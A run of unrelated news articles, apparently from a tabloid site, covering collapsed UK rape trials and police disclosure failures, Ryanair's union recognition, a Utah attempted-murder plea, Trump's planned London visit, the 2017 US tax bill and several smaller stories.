Rape trial shambles is latest sex attack case to end in chaos Leo Mahan and Thady Duff (left) were cleared of rape when it emerged detectives had 'cherry picked' the evidence while Bartolomeo Joly de Lotbiniere, 22, (right) was cleared of rape reported to police 14 months later It comes after a string of rape cases were found to have fallen apart. Friends Thady Duff, Leo Mahon, Patrick Foster, all 22, and James Martin, 20, were charged with gang-raping a young woman following the May Ball at the Royal Agricultural University in Cirencester, Gloucestershire in 2014. It was alleged that the violent assault was filmed, and the footage circulated via Snapchat. But the trial at Gloucester Crown Court collapsed after it emerged that detectives had 'cherry picked' and 'airbrushed' the evidence. A study of the alleged victim's phone revealed that she had sent nude pictures of herself to one of the men in advance of the ball and also how she had given inconsistent accounts of a 'threesome' she took part in at an Army barracks five months after the alleged university rape. Shockingly, none of this material was handed over to the prosecution or defence by an investigating police officer. Royal Agricultural University students Mahon, Foster and Duff, and friend Martin, were cleared in 2016 after the prosecution offered no evidence. An IPCC investigation later found that detectives had no case to answer for misconduct. Bartolomeo Joly de Lotbiniere, 22, was accused of raping a geography student at York University after a night out downing cheap spirits and alcopops. His 19-year-old accuser said his advances were unwanted and that she froze in terror as Lotbiniere, also then 19, undressed her and carried her to bed in her halls of residence. But she only reported Mr Joly de Lotbiniere to police 14 months after the alleged attack when he appeared on television in six episodes of the BBC2 quiz show University Challenge. After such a long passage of time there was no forensic evidence, only individual testimonies, accounts from friends and text messages. Mr Joly de Lotbiniere insisted what had happened was a 'two way', consensual one-night stand, saying : 'Drunk or sober I would never rape anybody.' After two trials spread over seven months  the first ended in a hung jury  he was found not guilty of rape and sexual assault in September. Advertisement

Last night Commander Richard Smith, who oversees the Met's rape investigations, said: 'I completely understand that this case may raise concerns given the backdrop of the case of [Mr Allan] last week.

Why are rape suspects named in the UK and what are the rules in other countries? Anonymity for men and women accused of rape until conviction was in place for 12 years until 1988 when it was repealed. At the time one of the main reasons given was that the public could not be warned by police if a suspected rapist was on the run, for example, without asking for a judge's permission first. Margaret Thatcher's government also wanted to 're-balance' the system in favour of victims - and in high profile cases encourage other victims to come forward. People accused of rape in Britain can be named and cases involving public figures often attract significant media attention. Parliament has considered the idea of anonymity for those accused of rape on a number of occasions. The previous Coalition Government said it would extend anonymity in rape cases to defendants. However, having undertaken an assessment of the evidence, it concluded in 2010 that there was insufficient reliable evidence to justify a change in the law. Anonymity is not granted for rape defendants in any other common law country, with the exception of the Republic of Ireland. There, a rape defendant's identity can be made public only if they are convicted of rape. Advertisement

'The Met is completely committed to understanding what went wrong and is carrying out a joint review with the CPS, the findings of which will be published. Rape investigations are by their nature very complex, and often hinge on the contradictory accounts of the alleged suspect and the complainant about what has taken place.

'We are reviewing all our investigations where we are in discussion with the CPS, to assure ourselves that we are meeting our disclosure obligations in an acceptable timescale based on the volume of data that some cases involve.'

Last week DC Azariah, 37, was accused of 'sheer incompetence' by prosecutor Jerry Hayes after failing to hand over 40,000 text and WhatsApp messages which proved the innocence of Mr Allan. The 22-year-old student, accused of six counts of rape, spent almost two years on bail and three days in the dock at Croydon Crown Court before his trial was dramatically halted by a judge when it emerged that his accuser had sent hundreds of messages to friends describing her rape fantasies.

DC Azariah had claimed the phone records were 'too personal' to share, and only did so when a new prosecutor took on the case and demanded the evidence.

Yesterday Mr Allan's solicitor Simone Meerabux said: 'I think that someone should look back at all the Met cases and look at the reviewing lawyer who looked at the cases involving this officer. I really don't think that the CPS can put the blame on this one officer, I know reviewing lawyers aren't doing their jobs.

'I do not think that the Met can investigate themselves, nor the CPS investigate themselves, it must be an independent inquiry.'

Conservative MP Bob Neill, chairman of the Justice select committee, said: 'This is an extremely troubling development. It rather confirms the view that this was not a one-off mistake. I think there are deep-seated failure of disclosure by both the police and the CPS.

'There also needs to be a very swift inquiry into this officer's conduct and suitability for being involved in these rape investigations. After making two errors of this gravity he should not be involved in any more active investigations until we find out what has gone wrong.'

Mr Neill said Director of Public Prosecutions Alison Saunders, who has pushed to increase rape prosecutions and convictions, must 'urgently' review communication failures between the police and CPS on handing over sensitive material.

'I don't know if this officer is not up to scratch, but the CPS needs to realise that if it can't depend on the police to carry out thorough checks of the evidence then prosecution lawyers have got to be more proactive,' he said.

'It is not good enough to see that this mistake was not a one-off. We have got to make sure that it is not happening in any other cases. Every case this officer has been involved in needs to be looked at again.'

David Green of think-tank Civitas, a former adviser to the Government, said: 'There is a wider problem that the justice system and the police have lost their way because of the cult of victimhood and the prevailing idea that the victim should always be believed. That is leading to these grave injustices.'
Ryanair agreed to recognise cabin crew unions yesterday  hours after the Daily Mail revealed air stewards appalling working conditions.

Cabin crew hailed the Mails expose as bosses announced they would enter into discussions in the new year.

The budget airline had refused to negotiate with unions and cabin crew contracts warned staff they could be sacked for taking industrial action.

Chief executive Michael OLeary once said he would rather cut off his own hands than recognise unions.

Ryanair cabin crew instructor (pictured) was training new recruits at one of the centres

On Friday, Ryanair pledged to recognise pilots unions because of a planned strike by Irish pilots  originally scheduled for today  who complained of a toxic work atmosphere.

The offer to sit down with unions was extended to cabin crew yesterday after the Mail exposed the gruelling practices staff endured, including being made to work unpaid for up to five hours a day. They are paid only for flight time, and not hours on the ground cleaning planes and during delays.

Thousands of recruits hired through agencies have to pay training fees of at least 2,000 and take up to three months unpaid leave a year.

They are even charged up to 175 if they leave their job within 15 months of starting.

In response, Theresa May warned that there were no excuses for underpaying staff. Dozens of workers contacted the Mail to blow the whistle on Ryanairs tricks to boost sales.

They said planes were kept cold and bright so passengers stay awake and stay hungry.

Workers were also threatened with moves away from their families to other countries if sales targets were missed.

One member of cabin crew formerly based in Dublin said: It was like a small North Korea. People who complained mysteriously disappeared. It is modern-day slavery and they should be ashamed of themselves.

From Monday's Mail

Yesterday, the airline said: Ryanair is moving to recognise unions, starting this week with meetings with Irish, German and Portuguese pilot unions.

It will lead on in the new year to meetings with other EU pilot unions and cabin crew unions in due course as well.

But Mr OLeary suggested the decision would also benefit the airline financially.

He said: Clearly one of the upsides of engaging in union recognition from our point of view is that it opens up growth opportunities for us in France and Scandinavia, countries that were previously closed to us because we felt it was going to involve mandatory union recognition. Shares in Ryanair fell 10 per cent after it announced that it would recognise trade unions to avert the first pilots strike in the companys history.

From yesterday's Mail

In September, the airline said it messed up in the planning of pilots holidays, leading to 700,000 bookings and more than 20,000 flights scheduled for this winter being cancelled.

The Spanish USO union, which represents 80 Ryanair cabin crew including British employees, said: This is definitely a step in the right direction and we thank the Daily Mail for highlighting how cabin crew have been treated.

And Chris Waters, of Meaby and Co Solicitors, which represents pilots and aviation staff, said: This is excellent news. Id like to congratulate the Daily Mail on highlighting issues within Ryanair that sadly workers at other airlines will be all too familiar with.

Following the Mails investigation, the Commons work and pensions committee demanded a probe into Ryanair. It will write to Mr OLeary today.

Ryanair denied any wrongdoing, saying agency cabin crews hourly wage for flight time covers all duty time. A spokesman said staff were given training to improve their sales but that if they failed to perform, their contracts will be terminated.

The conditions at the training centre apply to thousands of cabin crew hired by third-party agencies for Ryanair (pictured)
Dramatic footage has emerged of a dazed elephant chasing a labourer through a brick kiln, in India, in search of intoxicating palm fruits.

The bewildered elephant can be seen stumbling through the roofed rows based in a Coimbatore village, in Tamil Nadu.

The giant is hunting for the fruits used as fuel for the brick burners - with the elephants finding the smell intoxicating.

Dramatic footage has emerged of a dazed elephant chasing a labourer through a brick kiln, in India, in search of intoxicating palm fruits

In this video, the animal had apparently raided the furnace hoping to get his fill of palm fruits.

When his hunt failed, the tusked animal went on a rampage - especially after the worker tried to send the mammal away.

The lone elephant becomes more frustrated after becoming stuck in the building.

The giant is hunting for the fruits used as fuel for the brick burners - with the elephants finding the smell intoxicating

The bewildered elephant can be seen stumbling through the roofed rows based in a Coimbatore village, in Tamil Nadu

The labourer can be seen inching closer and then further away from the elephant - enticing the disgruntled beast's fury even more.

The man-animal conflict has become increasingly prevalent in Coimbatore in recent years as the area expands.

Wildlife activists have taken up the issue of using palm fruits as a fuel for both animal welfare and environmental reasons.

Yet when his hunt failed, the tusked animal went on a rampage - especially after the worker tried to send the mammal away

It is said that the attitude towards the mammals has changed in the last two decades as the area's development continues.

Now many farmers and labourers are wary of any elephant that they lay their eyes on.
Jayzon Decker, 17, admitted in an adult court on Tuesday to plotting the death of Deserae Turner when she was shot in the back of the head in Smithfield earlier this year

A Utah teenager has pleaded guilty to attempting to kill a 14-year-old girl after he and his friend grew tired of her social media posts.

Jayzon Decker, 17, admitted in an adult court on Tuesday to plotting the death of Deserae Turner when she was shot in the back of the head in Smithfield earlier this year.

Decker spoke quietly and hung his head as he pleaded guilty to attempted aggravated murder and obstruction of justice as part of a plea deal that saw multiple other charges against him dropped.

His victim, who was left partially paralyzed and still has bullet fragments lodged in her skull, cried in court as she listened to the medical challenges she was left facing as a result of the incident.

Deserae left the courtroom with the help of her parents after hearing Decker's plea, Deseret News reports.

Deserae Turner was left partially paralyzed and still has bullet fragments lodged in her skull as a result. She is pictured above in April this year

Deserae cried in court as she listened to the medical challenges she was left facing as a result of the incident. Doctors say she is expected to struggle with seeing, walking and eating

The court heard that Decker and his friend Colin Peterson had lured Deserae to a canal in February under the guise of selling her a pocket knife.

The boys had plotted to 'get rid of' her after growing tired of her social media messages.

Peterson fired a single bullet into the back of Turner's head.

While Peterson pleaded guilty to firing the shot, prosecutors had argued that Decker was the first to suggest killing the girl.

The boys had left Deserae for dead in the canal before she was found eight hours later by family and friends.

Decker and his friend Colin Peterson (pictured above in October when he pleaded guilty) lured Deserae to a canal in February under the guise of selling her a pocket knife

Doctors say Deserae still suffers from headaches from the ordeal because she still has bullet fragments lodged in her skull.

She is also expected to struggle with seeing, walking and eating due to partial paralysis.

Decker had also been charged with aggravated robbery and three counts of obstructing justice but they were dropped in exchange for his guilty plea.

He faces a possible sentence of 15-years-to-life for the attempted murder charge. His obstruction of justice charge could bring an additional sentence of up to 15 years.

Peterson pleaded guilty in October to aggravated attempted murder and robbery.
Donald Trump has told British prime minister Theresa May he will visit Britain in the new year - but will not meet the Queen, it emerged Tuesday.

The president and the prime minister instead discussed a 'working visit' to London, which is pencilled in for late February.

Trump will use the trip to open the new US embassy in London, while he is also expected to hold talks with the Prime Minister in Downing Street.

But a planned meeting with the Queen will not take place until he makes a full state visit  plans for which are on ice.

The decision comes after months of questions over a state visit, which Mrs May offered the president when they met at the White House after his inauguration.

The President's visit to the UK comes despite a series of public clashes with Mrs May, including a major row last month when the Prime Minister condemned Mr Trump's decision to re-tweet anti-Muslim propaganda from far-Right group Britain First.

Just a working visit: Trump's decision not to have a state visit means he will only meet the prime minister, Theresa May, and not the Queen

The US President is coming to the UK to open the new US embassy in London (pictured)

A planned meeting with the Queen (pictured) will not take place until he makes a full state visit

The PM was also critical of Mr Trump recognising Jerusalem as Israel's capital  a move the UK views as damaging to hopes for a two-state solution.

No mention of Mr Trump's trip to the UK was made in read-outs of the call released by No 10 and the White House.

But a Whitehall source said Mr Trump had told the PM he would be visiting Britain to attend the opening of the 750million American embassy, as reported in the Mail this month.

Earlier this year more than a million people signed a petition calling for a planned state visit to be cancelled  raising the prospect that Mr Trump could spark the biggest protests since the Iraq War when 1million protested in London.

The new US embassy has a moat, toughened glass that can withstand a rocket-propelled grenade and even its own contingent of US Marines. The building's architect James Timberlake described it as 'the safest building in Britain'.

However, moving Mr Trump around London is likely to prove a major security headache.

The President showed his displeasure at recent criticism from Mrs May by making her wait 13 days to discuss Israel.

When the two leaders finally spoke last night they tried to paper over their differences.

Mr Trump noted the UK had backed a United Nations Security Council resolution, vetoed by the US, which rejected the recognition of Jerusalem as the capital of Israel. Mrs May told him the UK 'doesn't agree' with the move, but she looked forward to seeing promised US plans for peace in the region.

The President's visit to the UK comes despite a series of public clashes with Theresa May (pictured)

The Prime Minister made no mention of the Twitter row which sparked fresh calls for Mr Trump to be banned from Britain.

He had provoked a diplomatic rift last month when he re-tweeted three hate videos produced by Britain First.

At the time, Mrs May condemned his actions as 'wrong', leading him to hit back on Twitter, telling her: 'Theresa May, don't focus on me, focus on the destructive Radical Islamic Terrorism that is taking place within the United Kingdom.'

Labour MP Barry Sheerman said any visit by Mr Trump would spark 'unparalleled demonstrations in this country'.

The US President pulled out of a planned state visit because of concerns about protests.

But diplomats have decided it is untenable for Mr Trump to indefinitely avoid visiting one of the US's closest allies.

Government sources insisted last night's phone call had been 'pretty genial', with Mr Trump said to have been interested in Mrs May's Brexit breakthrough. No 10 said they had 'agreed on the importance of a swift post-Brexit trade deal'.

They also discussed Mr Trump's plans for massive tax cuts in the US, which have alarmed some senior figures in the West, including Chancellor Philip Hammond.
Just as Republicans were patting themselves on the back for passing a $1.5 trillion tax cut through the House, a technical parliamentary ruling is about to force them to vote on it again.

'This is a day Ive been looking forward to for a long time,' said House Speaker Paul Ryan as the House easily cleared the tax cut conference report that party leaders made a must-pass item.

Ryan will likely get to relive his dream Wednesday morning, if as expected the Senate parliamentarian rules a few minor provisions included in the bill were out of order.

According to House Majority Leader Kevin McCarthy's office: 'The House expects Senate Democrats to insist on a Byrd Point of Order on the Conference Report to Accompany H.R. 1- Tax Cuts and Jobs Act, which is likely to be sustained.'

Not a single Democrat voted for the GOP-crafted conference report, and in the end Republicans lost only 12 of their own members

LETS DO THIS (AGAIN)! House GOP leaders hailed the bill minutes after the House passed it. Speaker Ryan hailed it as 'profound change.' Now the House may have to do a re-vote on a slightly-modified bill

President Trump tweeted congratulations for those 'who voted in favor of cutting your taxes!'

That would require another procedural motion to ensure both chambers are passing identical measures.

In that case, the House would meet at 9:00 Wednesday and then vote  just hours after Republican lawmakers cheered on the floor of the House after they got 227 votes to pass it.

The rule prevents certain types of legislating in what is nominally a revenue bill  crammed into a special procedure that only requires a simple majority to pass to avoid having to negotiate with Democrats.

There are a 'couple little glitches,' Senate Majority Leader Mitch McConnell told Fox News Tuesday night, but they are only 'minor adjustments.'

One of the out-of-order provisions lets people save in tax-deferred 529 plans to home school their kids, Politico reported. Another may deal with a college's exemption from an endowment tax.

It is up to Democrats or any senator to raise an objection to force a ruling.

House Republicans pushed through a $1.5 trillion tax cut Tuesday, advancing the most consequential legislation of the Trump presidency toward likely passage in the Senate.

A Senate leadership aide downplayed the hiccup in the final stretch.

'No ones fault. Theyre tiny provisions that dont affect the overall bill. These small provisions were all that Dems could find. The House will pass again,' the aide said.

An amendment by Texas Sen. Ted Cruz made it into the final conference report, allowing parents to withdraw up to $10,000 from tax-deferred 529 college savings plans for home schooling their kids at a younger age.

WHAT'S IN THE FINAL TAX BILL? Top income tax bracket has dropped to 37 per cent from 39.6 per cent

Other brackets are zero, 12, 22, 24, 32 and 35 per cent

'Standard' deduction for non-itemizers nearly doubles

Interest is deductible only on the first $750,000 of new home mortgages

Only individuals making more than $500,000 and couples earning $600,000 are in the top bracket

Corporate tax rates drop from 35 per cent to 21 per cent

Deduction for medical expenses and student loan interest and an exemption for graduate school tuition waivers

Ends Obamacare tax penalty for failing to buy health insurance

Doubles child tax credit to $2,000 for families earning up to $400,000

$1,400 of child credit is refundable even for families that don't pay any income tax

Doubles estate tax exemption to the first $11.2 million of inheritances

Opens a portion of the Arctic National Wildlife Refuge to oil and gas drilling

'Pass-through' corporations can deduct 20 per cent of income

Elimination of corporate Alternative Minimum Tax

No repeal of Johnson Amendment barring churches and religious organizations from election activity Advertisement

A provision authored by Texas Sen. Ted Cruz was causing complications for running aful of Senate rules. The language lets parents use tax-deferred 529 funds for home schooling expenses

The plans could now be used for K-12 elementary and secondary tuition, including for home-schooling.

Aides were still scrambling to figure out how the technical ruling would affect the legislation.

Cruz touted the amendment on his Senate and campaign web site. 'By expanding choice for parents and opportunities for children, we have prioritized the education of the next generation of Americans,' Cruz said on the Senate floor when the amendment passed on a tie vote with an assist from Vice President Mike Pence.

THE TRUMP TAX BRACKETS Single filers $0 to $9,525  10% $9,525 to $38,700  12% $38,700 to $82,500  22% $82,500 to $157,500  24% $157,500 to $200,000  32% $200,000 to $500,000  35% $500,000 and up  37% Married couples who file jointly $0 to $19,050  10% $19,050 to $77,400  12% $77,400 to $165,000  22% $165,000 to $315,000  24% $315,000 to $400,000  32% $400,000 to $600,000  35% $600,000 and up  37% Advertisement

A Senate GOP aide told DailyMail.com the only portion likely to be knocked out involved home schooling  not the bulk of the amendment for the first time making 529s eligible for K-12 schools including private or parochial schools.

In states that define home-schooling as a type of private school, it is possible that funding could still be eligible.

In another blow, of the PR variety, Senate Democrats objected to the pleasing name Republicans attached to the bill, the so-called short title, the 'The Tax Cuts And Jobs Act.'

The bill's remaining long title is: 'An Act to provide for reconciliation pursuant to titles II and V of the concurrent resolution on the budget for fiscal year 2018.'

Just 12 Republicans voted against the final conference report in the House. Among them were Reps. Rodney Frelinghuysen of New Jersey, the House Appropriations Committee chairman, Rep. Darrel Issa of California, and Rep. Dana Rohrabacher of California.

All three of them represent high-tax states where some constituents could get slammed by a provision that caps the deduction for state and local taxes.

There was just one GOP opponent outside of the Democratic-leaning states of New Jersey, New York, and California  Rep. Walter Jones of North Carolina.

President Trump lauded House Republican supporters on Twitter. 'Congratulations to Paul Ryan, Kevin McCarthy, Kevin Brady, Steve Scalise, Cathy McMorris Rodgers and all great House Republicans who voted in favor of cutting your taxes!' he wrote.

Not a single Democrat voted for the GOP-crafted conference report  a steep partisan split that is already leading to questions about whether the cuts will be able to endure for the long term.

The White House maintained that the president could be facing a tax increase, even as it said his business would fare well.

'We expect that it likely will, certainly on the personal side, could cost the president a lot of money. Again, the president's focus hasn't necessarily been at all on himself,' said White House press secretary Sarah Huckabee Sanders.

Pressed on whether the billionaire president would have to pay more, despite the doubling of the estate tax exemption, changes for 'pass through' corporations, and the top rate reduction, Sanders responded: 'I said that in some ways, particularly on the personal side, the president will likely take a big hit, but on the business side he could benefit. But the biggest focus for this White House has been to make sure all Americans are better off today, after this tax package passes, then they were beforehand.

'This is a day Ive been looking forward to for a long time,' said House Speaker Paul Ryan

Speaker Paul Ryan was able to help hold his caucus together and get a bill passed just days after final text was released

Treasury Secretary Steven Mnuchin sat in the House chamber for a portion of the final debate.

President Trump could sign the measure as early as Wednesday if Senate passage proceeds as planned.

The Republican-controlled U.S. Congress began voting on Tuesday on the biggest overhaul of the U.S. tax system in more than 30 years, with little standing in the way of the party's first major legislative triumph.

In another signal of the low-drama move to final passage, Sens. Mike Lee of Utah and Susan Collins of Maine each announced their support for the final bill Monday.

That left the GOP within sight of victory even as Sen. John McCain of Arizona recuperated at home from complications of his brain cancer.

The Senate passed its first version of the tax cut by a vote of just 51-49.

'This is profound change, and this is change that's going to put our country on the right path,' Ryan said immediately after the vote.

'We said in 2016 that it would take real tax reform for families and businesses to get the American economy going. And we were serious,' he said.

And he indicated that more tax cuts were on the way in the future. Individual rate cuts are set to expire in a decade under required procedural rules.

'We have every intent of making those permanent ... it's obviously our intent to make all those permanent,' he said

The initial tax legislation was introduced barely six weeks ago on Nov. 2, and the final House-Senate compromise text wasn't released until Friday evening.

Speaker of the House Rep. Paul Ryan (R-WI) (2nd L) speaks as (L-R) House Republican Conference Chair Rep. Cathy McMorris Rodgers (R-WA), House Majority Leader Rep. Kevin McCarthy (R-CA) and House Majority Whip Rep. Steve Scalise (R-LA) listen during a news briefing after a House Republican Conference meeting at the Capitol December 19, 2017 in Washington, DC. The House is expected to vote on the tax bill this afternoon. (Photo by Alex Wong/Getty Images)

The race for immediate passage was driven by several factors.

Republican leaders were determined not to let the 1,100 page final bill linger so it might get picked apart by critics. On Saturday, just in the initial hours after it was announced, it was revealed that a change to the language for 'pass-through' corporations would benefit income-earning real estate holders like President Donald Trump and opponent-turned-supported Sen. Bob Corker of Tennessee.

In a show of Republican unity despite polls showing public opposition to the plan, the House GOP easily turned back a Democratic motion to recommit the bill to committee with instructions to change it.

READY IF NEEDED: Vice President Mike Pence walks to a vote for tax reform in the House of Representatives. He was on hand to break a tie in the Senate if needed

Protesters in the House visitors' gallery shouted 'Shame! Shame!' as the final tally was taken.

House Speaker Paul Ryan of Wisconsin sounded gleeful as he announced the final vote tally.

'This is a day Ive been looking forward to for a long time. We are about to change some really big things,' said House Speaker Paul Ryan of Wisconsin in the final minutes before the House vote.

'Today we are giving the people of this country their money back. This is their money after all,' said Ryan, who has called the tax cut the culmination of a career-long dream.

Ryan cast the bill in kitchen table terms, saying it would benefit families 'living paycheck to paycheck'  even as Democrats pointed out the bill crafted by Republican negotiators slashed the top income tax rate, lowered corporate taxes, and doubled the size of the exemption for estates that come under the federal estate tax.

'The biggest focus of this White House has been to make sure all Americans are better off than they are today,' said White House spokeswoman Sarah Huckabee Sanders after the House vote.

President Trump has denied he would personally benefit from the cuts, although personal and business rate cuts, the real estate change, estate law changes, the elimination of the Alternative Minimum Tax, and other provisions would appear to help him or the Trump Organization he still owns, though does not manage.

Under the conference report heading to a vote in the Senate, estates worth $11.2 million would be subject to the estate tax, up from $5.6 million.

The bill slashes income tax rates, including lowering the top bracket of 39.6 per cent down to 37 per cent.

Corporate tax rates would plummet from 35 per cent to a new 21 per cent bracket.

The Senate could follow on Tuesday night or Wednesday morning, after completing 10 hours of debate, lawmakers said.

The presidnet fired off a pair of gloating tweets Tuesday morning before the vote took place

The outcome of the House vote wasn't in doubt Tuesday, as Democrats took their last opportunity to bash the proposal as it moved forward.

'Today we choose what kind of country America will be: one that champions the ladders of opportunity for all, or one that reinforces the power of the wealthiest and well-connected,' said House minority leader Nancy Pelosi of California.

'Why aren't they joining us on insisting for a better deal for American families?' she said of Republicans. 'Why aren't they joining us in demanding that we write real bipartisan tax reform that puts the middle class first? Because helping the middle class has never been their goal,' she said.

'Republicans will vote to catastrophically explode our national debt ... where are the vaunted Republican deficit hawks? Are they endangered? Are they extinct?' she said.

Republicans will vote to catastrophically explode our national debt ... where are the vaunted Republican deficit hawks? Are they endangered? Are they extinct? Nancy Pelosi, House minority leader

Republicans pushed back against Democratic claims that the bill was structured to reward the donor class.

'Opponents to this tax bill, they don't really worry about tax cuts for the rich. They worry about tax cuts for you,' said Ways and Means Chairman Rep. Kevin Brady.

'Given the choice between the federal government and you, we choose you, hard-working American taxpayers. We choose you, the only special interest that truly matters,' he said.

In a pair of early morning tweets Tuesday, Trump savored what would be his biggest legislative accomplishment as president.

'DOW RISES 5000 POINTS ON THE YEAR FOR THE FIRST TIME EVER - MAKE AMERICA GREAT AGAIN!' he wrote in all upper-case letters.

He added in a second message: 'Stocks and the economy have a long way to go after the Tax Cut Bill is totally understood and appreciated in scope and size. Immediate expensing will have a big impact. Biggest Tax Cuts and Reform EVER passed. Enjoy. And create many beautiful JOBS!'

With strict party-line votes expected in both chambers, passage appeared all but certain.

Republicans insist that the sweeping package of tax cuts for corporations, small businesses and individuals will boost economic and job growth. They also see the measure as key to having any hope of retaining their majorities in the House and Senate when voters go to the polls next November.

The end-of-year sprint toward passage represents a remarkable recovery of Republican fortunes since the middle of this year, when the party's drive to dismantle former Democratic President Barack Obama's Obamacare healthcare law crumbled in the Senate and prospects for a tax overhaul seemed doomed by party infighting.

Senate Majority Leader Mitch McConnell (left) and Speaker of the House Paul Ryan (right) are trying to bring the tax bill across the finish line

Lingering doubts about fate of the tax bill all but vanished on Monday after two of the last Senate Republican holdouts, Susan Collins and Mike Lee, agreed to support the legislation.

'I'm ready to vote,' Republican Senator John Kennedy told Reuters. 'I felt like we should have voted this weekend.'

Democrats, who unanimously oppose the Republican bill, railed against it as a giveaway to corporations and the wealthy that would add $1.5 trillion to the federal debt over the next decade and deepen the U.S. income gap between rich and poor.

'There are so many rip-offs in this bill that people are going to say this is some kind of new Gilded Age,' said Senator Ron Wyden, top Democrat on the Senate Tax Committee.

The House, where Republicans hold a 239-193 voting majority, was likely to see a smattering of 'no' votes from Republican fiscal hawks and lawmakers from the high-tax states of New York, New Jersey and California who oppose a provision that would scale back a popular deduction for state and local taxes.

'It's still a bill that's going to give tax relief to other parts of America on the backs of New Yorkers. So I'm still going to vote 'no,'' said Republican Representative Dan Donovan of New York.

The legislation would also repeal a federal fine imposed on Americans under Obamacare for not obtaining health insurance coverage, a change that could undermine the 2010 healthcare law formally known as the Affordable Care Act.

Vice President Mike Pence took the precaution of rescheduling a trip to Egypt and Israel for January to be on hand this week, just in case his tie-breaking voting power is needed to ensure Senate passage of the tax bill.

Republicans, who control the 100-seat Senate by only a 52-48 margin, can afford to lose support from no more than two party lawmakers.

Republican Senator Jeff Flake was still undecided late on Monday. Senator John McCain, who has brain cancer, was spending time with family in Arizona.
Church of England schools are to be supplied with tick-box forms allowing pupils and teachers to report transgender bullying.

The forms will give those in nearly 5,000 schools  including a quarter of all primary schools  the means to report pupils, teachers or any other adults who are perceived to be bullying.

A template form gives school staff 11 tick-boxes in which to identify the kind of bullying they say they have seen or suffered  and name a culprit.

Options available include gender identity  transphobic; gender  sexist bullying; sexual orientation  homophobic; sexual orientation  biphobic; alongside boxes for religious, racist and culture or class bullying.

The forms will give those in 5,000 schools  including a quarter of all primary schools  the means to report pupils, teachers or any other adults who are perceived to be bullying (stock)

A template form gives school staff 11 tick-boxes in which to identify the kind of bullying they say they have seen or suffered  and name a culprit

It says that all bullying or prejudice-related incidents should be recorded.

Similar report sheets will also be made available to pupils to fill in themselves, which they can hand to a member of staff or put in a bullying box in the classroom.

The forms are part of the Churchs new campaign to stamp out transgender and other kinds of bullying.

Teacher suspended in row over 'misgender' Maths teacher Joshua Sutcliffe ran foul of his schools equality policies last month after being accused of misgendering a pupil. Mr Sutcliffe, 27, was said to have used the phrase well done girls in the presence of a transgender student who identifies as a boy. The pupil, according to Mr Sutcliffe, became irate, and he apologised. However, the pupil complained and Mr Sutcliffe was suspended for a week until a school investigation ruled that he had demonstrated discriminatory behaviours and contravened the schools equality policy. Since the school misgendering row became public, disciplinary hearings into Mr Sutcliffes conduct have been abandoned, and instead he has been accused of bringing the school  which has not been named  into disrepute. In a letter to the headmaster, he branded the schools equality policy as totalitarian. Mr Sutcliffe, a pastor with an evangelical church in Oxford, has now said he will take the case to an employment tribunal. Advertisement

They are being distributed against a background of looming legal action by Oxford teacher Joshua Sutcliffe, who says he has been wrongly disciplined for addressing a transgender pupil by the wrong sex.

The forms for staff ask those who complain to name the alleged person responsible for bullying together with the target. Witnesses, supporting evidence and details of anyone else involved are also to be supplied.

The bullying report forms have been prepared to accompany the CofEs new guidance on challenging homophobic, biphobic and transphobic [HBT] bullying in its schools, which together have around a million pupils.

The anti-bullying code drew wide attention after it was published last month, instructing teachers that five-year-old boys should be able to wear high heels at school in the name of creative self-imagining. Children, the new rules say, should not be required to wear uniforms that create difficulty for trans pupils.

Complaint forms have now been issued to ensure the rules are enforced. All reports must be logged and in some cases could end up being passed on to council Childrens Services officials, the guidance adds.

All incidents reported via a form should be recorded centrally, it says. The data collected should be regularly monitored and analysed by staff responsible for anti-bullying. They should analyse any trends in HBT bullying.

The new rules make clear that the report system must apply to primary schools, which teach children between the ages of five and 11. In order to make sure pupils do not progress to secondary schools thinking discriminatory language and behaviour is acceptable, all forms of HBT bullying must be challenged at primary school, the guidance says.

Joshua Sutcliffe, 27, said to have used the phrase well done girls in the presence of a transgender student who identifies as a boy and he was suspended for a week

Andrea Minchiello Williams of Christian Concern said the anti-bullying guidelines have themselves become a tool of bullies.

Mrs Williams, a barrister and member of the Church of Englands parliament, the General Synod, said: Rather than taking the proper course of protecting children against bullying, this is the policing of thought.

Anyone who questions this guidance risks being cast as a bully, and their career will be at risk. These people have become bullies themselves  they are pushing children and teachers to accept their ideology and think as they do.

n A transgender group has demanded the abolition of gender as a legal concept and called for sex-change hormones to be given over-the-counter to children.

The Edinburgh branch of Action for Trans Health says gender records should only be for equalities monitoring and demands free, universal access to safe hormones at any age.
This is the horrifying moment two teenagers climbed onto a crocodile trap in murky waters in Australia's Northern Territory.

A picture, uploaded to Instagram, showed the pair balancing on the cage as it floated down a river near Batchelor.

The image, which has since been deleted, has been branded 'dangerous' and 'stupid' online.

A picture, uploaded to Instagram, showed the pair balancing on the cage as it floated down a river near Batchelor, in the Northern Territory

Tommy Nichols, NT Wildlife Ranger, said: 'Apart from the fact it's dangerous, we've had a number of large crocs let out of croc traps by people interfering with them lately.'

Mr Nichols said it wasn't the first time people had fooled around with the animals in the Northern Territory.

The post has since been deleted.

Mr Nichols said it wasn't the first time people had fooled around with the animals in the Northern Territory

'We've had a number of large crocs let out of croc traps by people interfering with them lately' explained the NT ranger Tommy Nichols

Rangers often find the animals in traps.

Mr Nichols added: 'You never know what a crocodile is going to do  it could swim away or it could turn around on you.'

The penalty for mucking around with a crocodile trap is up to six months' imprisonment and a $7.700 fine.

The penalty for mucking around with crocodile trap is a term of up to six months' imprisonment, a $7.700 fine
Campaigners argue the rows of historic Victorian pews are vital to the character of one of Britains most historic buildings.

But officials at Grade I-listed Bath Abbey wanted them removed in favour of stackable wooden chairs, saying it could attract more people by hosting concerts and bake sales.

Now it has joined a growing number of Church of England buildings which have seen fixed pews replaced with modern seating  to the horror of traditionalists.

Officials at Grade I-listed Bath Abbey want pews removed in favour of stackable wooden chairs, saying it could attract more people by hosting concerts and bake sales

The plan was approved yesterday after a failed bid by The Victorian Society which opposed the move at a consistory court meeting.

A church has stood on the site of Bath Abbey since 757AD, but the existing building largely dates from a 16th century restoration.

The former Benedictine monastery was renovated by Sir George Gilbert Scott in the 1860s, at which point rows of fixed pews were installed.

Officials at Abbey had to apply for permission from the Church of England for the uncomfortable seating to be removed before a multi-million pound makeover could get underway.

Rev Edward Mason (pictured) said removing the pews would make the church fit for the 21st century

At a court session in October, Rev Edward Mason said it was facing crisis with an ageing congregation and decline in visitors, saying installing stackable chairs would free up floor space to host popular events.

Christians all over the city want to come here to worship in a way they want to, he said.

Removing the pews would be making the church fit for the 21st century.

'If we want this church to be able to grow to the people that come into it thats what we need to reflect.

He pointed out that until 1860 the abbey would have been completely open-plan and said it was once again time to update the building to suit todays needs.

